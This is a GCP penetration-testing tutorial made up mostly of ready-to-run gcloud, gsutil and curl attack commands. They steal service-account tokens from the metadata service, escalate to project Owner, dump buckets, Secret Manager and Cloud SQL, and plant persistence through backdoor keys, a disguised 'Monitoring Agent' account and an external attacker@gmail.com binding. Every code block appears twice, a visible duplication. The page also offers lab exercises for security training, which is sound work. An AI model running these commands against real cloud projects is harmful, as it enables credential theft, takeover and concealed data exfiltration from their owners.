Cloud Security

GCP Pentesting

Google Cloud Platform (GCP) assessments focus on IAM service accounts, Cloud Storage buckets, Compute Engine instances, and Cloud Functions. GCP's service-account-centric model creates unique privilege escalation paths not found in AWS or Azure.

GCP Pentesting Kill Chain

flowchart LR R["🔍 Recon Project Enum Bucket Discovery"] --> IA["🚪 Initial Access SSRF / Metadata Exposed SA Keys"] IA --> E["📋 Enumerate IAM / SAs Services"] E --> PE["⬆️ Priv Esc SA Impersonation setIamPolicy"] PE --> LM["↔️ Lateral Move Cross-Project Workload Identity"] LM --> P["🔒 Persist SA Key Create Custom Roles"] P --> EX["📤 Exfiltrate GCS Sync Secrets Dump"]

Initial Access & Enumeration

Authentication & Project Discovery

auth-enum.sh
bash
# Authenticate with user credentials
gcloud auth login

# Authenticate with stolen service account key
gcloud auth activate-service-account --key-file=key.json

# Check current identity and active project
gcloud config list
gcloud auth list
gcloud projects list  # List all projects you have access to
gcloud config set project PROJECT_ID
# Authenticate with user credentials
gcloud auth login

# Authenticate with stolen service account key
gcloud auth activate-service-account --key-file=key.json

# Check current identity and active project
gcloud config list
gcloud auth list
gcloud projects list  # List all projects you have access to
gcloud config set project PROJECT_ID

IAM & Service Account Enumeration

iam-enum.sh
bash
# List service accounts (these are the primary attack targets in GCP)
gcloud iam service-accounts list --format="table(email,displayName,disabled)"

# Get project-level IAM policy (who has what roles)
gcloud projects get-iam-policy PROJECT_ID --format=json

# List all custom roles (may have overly permissive definitions)
gcloud iam roles list --project=PROJECT_ID

# Check your own permissions
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members"   --filter="bindings.members:$(gcloud config get-value account)"   --format="table(bindings.role)"

# Enumerate service account keys (look for user-managed keys)
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $SA ==="
  gcloud iam service-accounts keys list --iam-account="$SA" --format="table(keyId,keyType,validAfterTime)"
done
# List service accounts (these are the primary attack targets in GCP)
gcloud iam service-accounts list --format="table(email,displayName,disabled)"

# Get project-level IAM policy (who has what roles)
gcloud projects get-iam-policy PROJECT_ID --format=json

# List all custom roles (may have overly permissive definitions)
gcloud iam roles list --project=PROJECT_ID

# Check your own permissions
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members"   --filter="bindings.members:$(gcloud config get-value account)"   --format="table(bindings.role)"

# Enumerate service account keys (look for user-managed keys)
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $SA ==="
  gcloud iam service-accounts keys list --iam-account="$SA" --format="table(keyId,keyType,validAfterTime)"
done

Service Enumeration

service-enum.sh
bash
# Compute Engine instances (check for default SA, public IPs)
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"

# Storage buckets
gsutil ls
gsutil ls -L gs://bucket-name/  # Detailed listing with ACLs

# Check for PUBLIC buckets (unauthenticated)
curl -s "https://storage.googleapis.com/bucket-name/"

# Cloud Functions (code may contain secrets)
gcloud functions list --format="table(name,runtime,status,serviceAccountEmail)"
gcloud functions describe FUNCTION_NAME --format=json

# Cloud SQL instances (database endpoints)
gcloud sql instances list --format="table(name,databaseVersion,ipAddresses)"

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret="secret-name"

# Cloud Run services
gcloud run services list --format="table(name,region,URL)"

# GKE clusters
gcloud container clusters list --format="table(name,zone,status,currentNodeCount)"
# Compute Engine instances (check for default SA, public IPs)
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"

# Storage buckets
gsutil ls
gsutil ls -L gs://bucket-name/  # Detailed listing with ACLs

# Check for PUBLIC buckets (unauthenticated)
curl -s "https://storage.googleapis.com/bucket-name/"

# Cloud Functions (code may contain secrets)
gcloud functions list --format="table(name,runtime,status,serviceAccountEmail)"
gcloud functions describe FUNCTION_NAME --format=json

# Cloud SQL instances (database endpoints)
gcloud sql instances list --format="table(name,databaseVersion,ipAddresses)"

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret="secret-name"

# Cloud Run services
gcloud run services list --format="table(name,region,URL)"

# GKE clusters
gcloud container clusters list --format="table(name,zone,status,currentNodeCount)"

Metadata Service Exploitation

Warning

GCP metadata requires the Metadata-Flavor: Google header, which blocks most basic SSRF attacks. However, SSRF via user-controlled HTTP libraries that forward headers can still reach it.
metadata-exploitation.sh
bash
# GCP metadata service (requires header — unlike AWS IMDSv1)
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Instance identity and attributes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/

# Get the default service account access token (CRITICAL)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

# Get the service account email
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"

# Get custom metadata (startup scripts often contain secrets)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"

# Project-wide metadata
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/project/attributes/"

# Use stolen token from attacker machine
curl -H "Authorization: Bearer ya29.xxx"   "https://cloudresourcemanager.googleapis.com/v1/projects"
# GCP metadata service (requires header — unlike AWS IMDSv1)
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Instance identity and attributes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/

# Get the default service account access token (CRITICAL)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

# Get the service account email
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"

# Get custom metadata (startup scripts often contain secrets)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"

# Project-wide metadata
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/project/attributes/"

# Use stolen token from attacker machine
curl -H "Authorization: Bearer ya29.xxx"   "https://cloudresourcemanager.googleapis.com/v1/projects"

Privilege Escalation

GCP privilege escalation revolves around service account impersonation and IAM policy manipulation. The iam.serviceAccounts.actAs permission is GCP's equivalent of AWS iam:PassRole.

Technique Required Permission Impact
Create SA key iam.serviceAccountKeys.create Persistent access as any SA
Impersonate SA token iam.serviceAccounts.getAccessToken Short-lived token as any SA
Set IAM policy resourcemanager.projects.setIamPolicy Grant yourself Owner role
Deploy Cloud Function as SA cloudfunctions.functions.create + actAs Execute code as privileged SA
Compute instance as SA compute.instances.create + actAs SSH into VM running as target SA
privilege-escalation.sh
bash
# === Service Account Key Creation (persistent backdoor) ===
# If you have iam.serviceAccountKeys.create on a high-priv SA:
gcloud iam service-accounts keys create /tmp/key.json   --iam-account=admin-sa@project-id.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json

# === Service Account Token Impersonation ===
# If you have iam.serviceAccounts.getAccessToken:
gcloud auth print-access-token --impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com

# === setIamPolicy — Grant yourself Owner ===
# Get current policy, add your account, set it back
gcloud projects get-iam-policy PROJECT_ID --format=json > /tmp/policy.json
# Edit policy.json to add your account as roles/owner
gcloud projects set-iam-policy PROJECT_ID /tmp/policy.json

# === Cloud Function priv esc (execute code as target SA) ===
cat > /tmp/main.py << 'FUNC'
import subprocess, json
def escalate(request):
    # This function runs as the SA assigned to it
    result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT_ID', '--format=json'],
                          capture_output=True, text=True)
    return result.stdout
FUNC
gcloud functions deploy escalate --runtime=python312 --trigger-http --allow-unauthenticated   --service-account=admin-sa@project-id.iam.gserviceaccount.com --source=/tmp/ --entry-point=escalate

# === Compute Engine priv esc (SSH into VM with target SA) ===
gcloud compute instances create privesc-vm --zone=us-central1-a   --service-account=admin-sa@project-id.iam.gserviceaccount.com   --scopes=cloud-platform --image-family=debian-12 --image-project=debian-cloud
gcloud compute ssh privesc-vm --zone=us-central1-a
# Now inside VM: curl metadata to get admin SA token
# === Service Account Key Creation (persistent backdoor) ===
# If you have iam.serviceAccountKeys.create on a high-priv SA:
gcloud iam service-accounts keys create /tmp/key.json   --iam-account=admin-sa@project-id.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json

# === Service Account Token Impersonation ===
# If you have iam.serviceAccounts.getAccessToken:
gcloud auth print-access-token --impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com

# === setIamPolicy — Grant yourself Owner ===
# Get current policy, add your account, set it back
gcloud projects get-iam-policy PROJECT_ID --format=json > /tmp/policy.json
# Edit policy.json to add your account as roles/owner
gcloud projects set-iam-policy PROJECT_ID /tmp/policy.json

# === Cloud Function priv esc (execute code as target SA) ===
cat > /tmp/main.py << 'FUNC'
import subprocess, json
def escalate(request):
    # This function runs as the SA assigned to it
    result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT_ID', '--format=json'],
                          capture_output=True, text=True)
    return result.stdout
FUNC
gcloud functions deploy escalate --runtime=python312 --trigger-http --allow-unauthenticated   --service-account=admin-sa@project-id.iam.gserviceaccount.com --source=/tmp/ --entry-point=escalate

# === Compute Engine priv esc (SSH into VM with target SA) ===
gcloud compute instances create privesc-vm --zone=us-central1-a   --service-account=admin-sa@project-id.iam.gserviceaccount.com   --scopes=cloud-platform --image-family=debian-12 --image-project=debian-cloud
gcloud compute ssh privesc-vm --zone=us-central1-a
# Now inside VM: curl metadata to get admin SA token

Post-Exploitation & Persistence

post-exploitation.sh
bash
# === Data Exfiltration ===
# Sync entire bucket to local disk
gsutil -m cp -r gs://sensitive-bucket/ ./exfil/

# Dump all secrets from Secret Manager
for secret in $(gcloud secrets list --format="value(name)"); do
  echo "=== $secret ==="
  gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done

# Export Cloud SQL database
gcloud sql export sql INSTANCE_NAME gs://your-bucket/dump.sql --database=production

# Download Cloud Function source code (may contain hardcoded secrets)
for func in $(gcloud functions list --format="value(name)"); do
  echo "[+] Downloading $func"
  gcloud functions describe "$func" --format="value(sourceArchiveUrl)" | xargs -I{} gsutil cp {} "/tmp/$func.zip"
  unzip -o "/tmp/$func.zip" -d "/tmp/$func/" 2>/dev/null
  grep -rn "password|secret|key|token|api_key" "/tmp/$func/" 2>/dev/null
done

# === Persistence ===
# 1. Create SA key for long-term access
gcloud iam service-accounts keys create /tmp/backdoor-key.json   --iam-account=existing-sa@project-id.iam.gserviceaccount.com

# 2. Create a new service account that blends in
gcloud iam service-accounts create svc-monitoring-agent --display-name="Monitoring Agent"
gcloud projects add-iam-policy-binding PROJECT_ID   --member="serviceAccount:svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com"   --role="roles/owner"
gcloud iam service-accounts keys create /tmp/persist.json   --iam-account=svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com

# 3. Add external account to IAM policy (cross-org persistence)
gcloud projects add-iam-policy-binding PROJECT_ID   --member="user:attacker@gmail.com" --role="roles/editor"

# === Audit Log Awareness ===
# Check which services have audit logging enabled
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.auditConfigs'
# Note: Admin Activity logs are always on; Data Access logs may not be enabled
# === Data Exfiltration ===
# Sync entire bucket to local disk
gsutil -m cp -r gs://sensitive-bucket/ ./exfil/

# Dump all secrets from Secret Manager
for secret in $(gcloud secrets list --format="value(name)"); do
  echo "=== $secret ==="
  gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done

# Export Cloud SQL database
gcloud sql export sql INSTANCE_NAME gs://your-bucket/dump.sql --database=production

# Download Cloud Function source code (may contain hardcoded secrets)
for func in $(gcloud functions list --format="value(name)"); do
  echo "[+] Downloading $func"
  gcloud functions describe "$func" --format="value(sourceArchiveUrl)" | xargs -I{} gsutil cp {} "/tmp/$func.zip"
  unzip -o "/tmp/$func.zip" -d "/tmp/$func/" 2>/dev/null
  grep -rn "password|secret|key|token|api_key" "/tmp/$func/" 2>/dev/null
done

# === Persistence ===
# 1. Create SA key for long-term access
gcloud iam service-accounts keys create /tmp/backdoor-key.json   --iam-account=existing-sa@project-id.iam.gserviceaccount.com

# 2. Create a new service account that blends in
gcloud iam service-accounts create svc-monitoring-agent --display-name="Monitoring Agent"
gcloud projects add-iam-policy-binding PROJECT_ID   --member="serviceAccount:svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com"   --role="roles/owner"
gcloud iam service-accounts keys create /tmp/persist.json   --iam-account=svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com

# 3. Add external account to IAM policy (cross-org persistence)
gcloud projects add-iam-policy-binding PROJECT_ID   --member="user:attacker@gmail.com" --role="roles/editor"

# === Audit Log Awareness ===
# Check which services have audit logging enabled
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.auditConfigs'
# Note: Admin Activity logs are always on; Data Access logs may not be enabled

GCP Tools

Tool Category Best For
GCPBucketBrute Enumeration Brute-force bucket discovery and ACL testing
gcp_enum Enumeration Automated GCP resource enumeration and export
Hayat Exploitation IAM privilege escalation path discovery
ScoutSuite Auditing Multi-cloud security audit with HTML reports
Prowler Auditing CIS benchmark compliance checking
gcloud CLI Client Official CLI — essential for manual testing
🎯

GCP Pentesting Labs

Hands-on labs targeting GCP-specific attack techniques.

🔧
Service Account Key Theft & Impersonation Custom Lab medium
Deploy a Compute Engine VM with a default service accountExploit metadata service to retrieve the SA access tokenUse the token to enumerate project IAM policies and storage bucketsCreate a new SA key for persistent access (iam.serviceAccountKeys.create)Impersonate the SA from your local machine using the key fileClean up: delete the key and revoke the token
🔧
GCP Privilege Escalation via setIamPolicy Custom Lab hard
Start with a service account that has resourcemanager.projects.setIamPolicyGet the current project IAM policy and identify escalation pathsGrant your account the Owner role via setIamPolicyDeploy a Cloud Function as a highly privileged SA (actAs + create)Extract secrets from Secret Manager and Cloud SQLDocument the full privilege escalation chain with evidence
🔧
GCS Bucket Misconfiguration Audit Custom Lab easy
Use GCPBucketBrute to discover public buckets in the lab projectCheck bucket-level and object-level ACLs with gsutilAttempt unauthenticated reads and writes to misconfigured bucketsRun ScoutSuite or Prowler against the project for comprehensive findingsMap findings to CIS GCP Foundations Benchmark controls